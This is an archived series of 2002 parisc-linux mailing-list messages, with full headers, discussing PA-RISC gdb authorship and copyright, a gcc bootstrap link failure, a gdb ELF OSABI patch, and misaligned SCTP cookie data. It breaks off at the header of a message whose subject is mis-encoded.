	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17205

On Thu, Dec 26, 2002 at 10:49:02PM -0700, Grant Grundler wrote:
> Maybe this mail explains it?
> http://lists.parisc-linux.org/hypermail/parisc-linux/2357.html

http://lists.parisc-linux.org/hypermail/parisc-linux/2377.html

This is a bit further down the "next thread" list and is Cary
Coutant trying to clarify the intent of the fields.

grant


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Who wrote the parisc gdb support?
Date: Thu, 26 Dec 2002 23:20:18 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20021227062018.GD6159@dsl2.external.hp.com>
References: <20021227020711.GC8363@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622055 18970 80.91.229.3 (22 Nov 2014 02:07:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:35 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 23:20:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 069394829; Thu, 26 Dec 2002 23:20:18 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021227020711.GC8363@systemhalted>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17206

On Thu, Dec 26, 2002 at 09:07:11PM -0500, Carlos O'Donell wrote:
> Who wrote our initial gdb implementation?

Taggart said it was dhd and amodra mostly.
I think he is right.
IIRC, Most, if not all, of the work was funded by HP under contract
with Linuxcare in fall 2000 and spring 2001.

grant


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Who wrote the parisc gdb support?
Date: Fri, 27 Dec 2002 11:02:44 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20021227110244.GY24337@sleepie.demon.co.uk>
References: <20021227020711.GC8363@systemhalted> <20021227062018.GD6159@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622055 18971 80.91.229.3 (22 Nov 2014 02:07:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 04:10:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4DFF4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Dec 2002 04:10:57 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 253689EE69; Fri, 27 Dec 2002 11:02:45 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20021227062018.GD6159@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17207

On Thu, Dec 26, 2002 at 11:20:18PM -0700, Grant Grundler wrote:
> On Thu, Dec 26, 2002 at 09:07:11PM -0500, Carlos O'Donell wrote:
> > Who wrote our initial gdb implementation?
> 
> Taggart said it was dhd and amodra mostly.
> I think he is right.
> IIRC, Most, if not all, of the work was funded by HP under contract
> with Linuxcare in fall 2000 and spring 2001.

I'd agree with that.  At one time I worked on kernel support for it,
while amodra worked on gdb itself.  We were both working for Linuxcare,
under contract to HP at the time.

Richard



From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Who wrote the parisc gdb support?
Date: Fri, 27 Dec 2002 15:36:59 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20021227203659.GC1014@systemhalted>
References: <20021227020711.GC8363@systemhalted> <20021227062018.GD6159@dsl2.external.hp.com> <20021227110244.GY24337@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622055 18974 80.91.229.3 (22 Nov 2014 02:07:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 13:36:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.48.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF4604829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Dec 2002 13:36:58 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18S1E4-0000HM-00; Fri, 27 Dec 2002 15:37:00 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021227110244.GY24337@sleepie.demon.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (19% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17208

> > Taggart said it was dhd and amodra mostly.
> > I think he is right.
> > IIRC, Most, if not all, of the work was funded by HP under contract
> > with Linuxcare in fall 2000 and spring 2001.
> 
> I'd agree with that.  At one time I worked on kernel support for it,
> while amodra worked on gdb itself.  We were both working for Linuxcare,
> under contract to HP at the time.
> 

That's good then, since the chain of copyright now goes like this:

	Linuxcare -> HP -> FSF

It's rogue hackers without copyright assignment that do more than
trivial patches that worry me... not naming any names *cough* tausq
*cough* Though that person now has all the papers in place ;)

c.



From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [gcc-3_3-branch] bootstrap failure on hppa-linux
Date: Fri, 27 Dec 2002 21:52:26 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <15884.48522.342368.76461__22817.5588803881$1416622056$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622056 18976 80.91.229.3 (22 Nov 2014 02:07:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 13:54:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440244829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Dec 2002 13:54:05 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id VAA03362;
	Fri, 27 Dec 2002 21:52:26 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id gBRKqQc06078;
	Fri, 27 Dec 2002 21:52:26 +0100 (MET)
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17209

trying to bootstrap today's gcc-3_3-branch with gcc-3_2-branch
(20021212) fails in stage1 (binutils are 2.13.90.0.16-1). Adding the
mentioned -ffunction-sections as STAGE1_CFLAGS lets the bootstrap
succeed. However I couldn't find any hints on the special boot flags.

$ gcc-3.2    -g -DIN_GCC   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long -fno-common  -DHAVE_CONFIG_H -o cc1 c-parse.o c-lang.o c-pretty-print.o attribs.o c-errors.o c-lex.o c-pragma.o c-decl.o c-typeck.o c-convert.o c-aux-info.o c-common.o c-opts.o c-format.o c-semantics.o c-objc-common.o c-dump.o libcpp.a  main.o libbackend.a   ../libiberty/libiberty.a
/usr/bin/ld: libbackend.a(expr.o)(.text+0x3f744): cannot reach 000002c9_$$dyncall+0, recompile with -ffunction-sections
/usr/bin/ld: libbackend.a(expr.o)(.text+0x3f744): cannot handle R_PARISC_PCREL17F for $$dyncall
/usr/bin/ld: final link failed: Bad value
collect2: ld returned 1 exit status


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc-3_3-branch] bootstrap failure on hppa-linux
Date: Fri, 27 Dec 2002 17:14:26 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200212272214.gBRMEQeF002615__5432.44307996265$1416622056$gmane$org@hiauly1.hia.nrc.ca>
References: <15884.48522.342368.76461@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622056 18979 80.91.229.3 (22 Nov 2014 02:07:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:36 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 15:14:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 131524829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Dec 2002 15:14:53 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBRMERot002617;
	Fri, 27 Dec 2002 17:14:27 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBRMEQeF002615;
	Fri, 27 Dec 2002 17:14:26 -0500 (EST)
In-Reply-To: <15884.48522.342368.76461@gargle.gargle.HOWL> from "Matthias Klose" at Dec 27, 2002 09:52:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17210

> $ gcc-3.2    -g -DIN_GCC   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long -fno-common  -DHAVE_CONFIG_H -o cc1 c-parse.o c-lang.o c-pretty-print.o attribs.o c-errors.o c-lex.o c-pragma.o c-decl.o c-typeck.o c-convert.o c-aux-info.o c-common.o c-opts.o c-format.o c-semantics.o c-objc-common.o c-dump.o libcpp.a  main.o libbackend.a   ../libiberty/libiberty.a
> /usr/bin/ld: libbackend.a(expr.o)(.text+0x3f744): cannot reach 000002c9_$$dyncall+0, recompile with -ffunction-sections
> /usr/bin/ld: libbackend.a(expr.o)(.text+0x3f744): cannot handle R_PARISC_PCREL17F for $$dyncall

This bug is fixed in 3.3.  The principal problem is that gcc is not keeping
track of the total number of code bytes (total_code_bytes) in a translation
unit under hppa-linux.  With GAS under hpux, this isn't necessary.

Unfortunately, the 3.2 branch is only open for regression fixes.  As far
as I know, this never worked in any previous release (debian 3.0.4 has
the same problem).  Thus, the problem won't be fixed in the 3.2 branch.

I suspect that expr.o must be getting bigger.

You can also work around this by adding -O2 to your stage1 CFLAGS.

The problems with branches that can't reach their long branch stub still
aren't fully resolved.  It's possible to exceed the maximum number of
stubs per 240000 bytes of code.  Possibly, we need to make the maximum
branch distance for the R_PARISC_PCREL17F relocation a settable option.
Currently, it is hardcoded to 240000 bytes in gcc, gas and ld.  The hpux
compiler avoids the problem by not using the "bl" instruction for external
calls.  However, GNU ld doesn't currently support the relocations needed
for the HP sequences.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Why do we relax e_ident[EI_OSABI] in gdb?
Date: Fri, 27 Dec 2002 16:34:17 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20021228003417.GX19331@tausq.org>
References: <20021227023137.GD8363@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622056 18981 80.91.229.3 (22 Nov 2014 02:07:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:36 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 17:33:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4021C4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 27 Dec 2002 17:33:05 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C438FCD64C; Fri, 27 Dec 2002 16:34:17 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20021227023137.GD8363@systemhalted>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17211

> Anyone have some ideas why we have this patch in gdb, and thus relax the 
> EI_OSABI check?
> 
> --- gdb-5.2.cvs20020401/bfd/elf64-hppa.c~	Sun Mar 31 19:09:41 2002
> +++ gdb-5.2.cvs20020401/bfd/elf64-hppa.c	Sat Apr 20 09:35:54 2002
> @@ -372,7 +372,8 @@
>    i_ehdrp = elf_elfheader (abfd);
>    if (strcmp (bfd_get_target (abfd), "elf64-hppa-linux") == 0)
>      {
> -      if (i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_LINUX)
> +      if (i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_LINUX &&
> +          i_ehdrp->e_ident[EI_OSABI] != ELFOSABI_NONE)

well... take a look at
http://bugs.debian.org/cgi-bin/bugreport.cgi?archive=no&bug=137316

but Grant's references explain it in more detail.

randolph


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] misaligned data
Date: Fri, 27 Dec 2002 19:01:04 -0700 (MST)
Lines: 59
Approved: news@gmane.org
Message-ID: <20021228020104.C109D4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622056 18984 80.91.229.3 (22 Nov 2014 02:07:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 19:01:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C109D4829; Fri, 27 Dec 2002 19:01:04 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17212

Two more tidbits on the misaligned data problem in 2.5.53:
o using -g instead of -O2 compiles just fine

o The generating the warning is the "tv_add" call in sctp_pack_cookie():
	...
        /* Set an expiration time for the cookie.  */
        do_gettimeofday(&cookie->c.expiration);
        tv_add(&asoc->cookie_life, &cookie->c.expiration);
	...

But I'm under the impression the do_gettimeofday() above would puke when
trying to access the same misaligned timeval_t as well. tv_add() catches
the problem since it is a macro and code gets generated to directly
reference the struct instead of an anonymous address.

The asm output is:
...
        ldw 5144(%r8),%r19
        ldw 8(%r6),%r20
        add,l %r20,%r19,%r20
        ldd 5136(%r8),%r21
        ldd 52(%r3),%r19		# line 2347 is misaligned.
        extrd,s %r20,63,32,%r20
        add,l %r19,%r21,%r25
        ldil L'999999,%r19
        cmpb,*>= %r19,%r20,.L1873
	copy %r4,%r27

	ldil L'-1000000,%r19
	ldo 1(%r25),%r25
	ldo R'-1000000(%r19),%r19
	add,l %r20,%r19,%r20
.L1873:
	std %r25,52(%r3)		# also misaligned

Based on the math, looks like %r25 has the "seconds" field and %r19
the microseconds.

Oh, only one definition and usage of tv_add().
The offending field is "&cookie->c.expiration".
cookie is type "sctp_signed_cookie_t". (include/net/sctp/structs.h)

/* The format of our cookie that we send to our peer. */
typedef struct sctp_signed_cookie {
        __u8 signature[SCTP_SECRET_SIZE];
	sctp_cookie_t c;
} sctp_signed_cookie_t;

struct sctp_cookie mostly uses __u32 except for "struct timeval expiration".
"struct timeval" is declared in include/linux/time.h.
Not sure if it's safe to just pad "struct sctp_cookie" or if something
else needs to be done.

If this isn't a parisc toolchain bug, then other arches (eg ia64) will need 
a fix as well.

cheers,
grant


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] misaligned data
Date: Fri, 27 Dec 2002 21:49:18 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200212280249.gBS2nIPI002930@hiauly1.hia.nrc.ca>
References: <20021228020104.C109D4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622057 18986 80.91.229.3 (22 Nov 2014 02:07:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Dec 27 19:49:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B1684829
	for <parisc-linux@parisc-linux.org>; Fri, 27 Dec 2002 19:49:26 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBS2nJot002931;
	Fri, 27 Dec 2002 21:49:19 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBS2nIPI002930;
	Fri, 27 Dec 2002 21:49:18 -0500 (EST)
In-Reply-To: <20021228020104.C109D4829@dsl2.external.hp.com> from "Grant Grundler" at Dec 27, 2002 07:01:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17213

>         ldd 52(%r3),%r19		# line 2347 is misaligned.

> 	std %r25,52(%r3)		# also misaligned
> 
> Based on the math, looks like %r25 has the "seconds" field and %r19
> the microseconds.
> 
> Oh, only one definition and usage of tv_add().
> The offending field is "&cookie->c.expiration".
> cookie is type "sctp_signed_cookie_t". (include/net/sctp/structs.h)
> 
> /* The format of our cookie that we send to our peer. */
> typedef struct sctp_signed_cookie {
>         __u8 signature[SCTP_SECRET_SIZE];
> 	sctp_cookie_t c;
> } sctp_signed_cookie_t;
> 
> struct sctp_cookie mostly uses __u32 except for "struct timeval expiration".
> "struct timeval" is declared in include/linux/time.h.
> Not sure if it's safe to just pad "struct sctp_cookie" or if something
> else needs to be done.

I'd wonder more about the packed attribute on sctp_init_chunk_t and
sctp_inithdr_t.  What version of gcc?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ƹƷ@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] вƷƹӪרҿΪṩѵķ
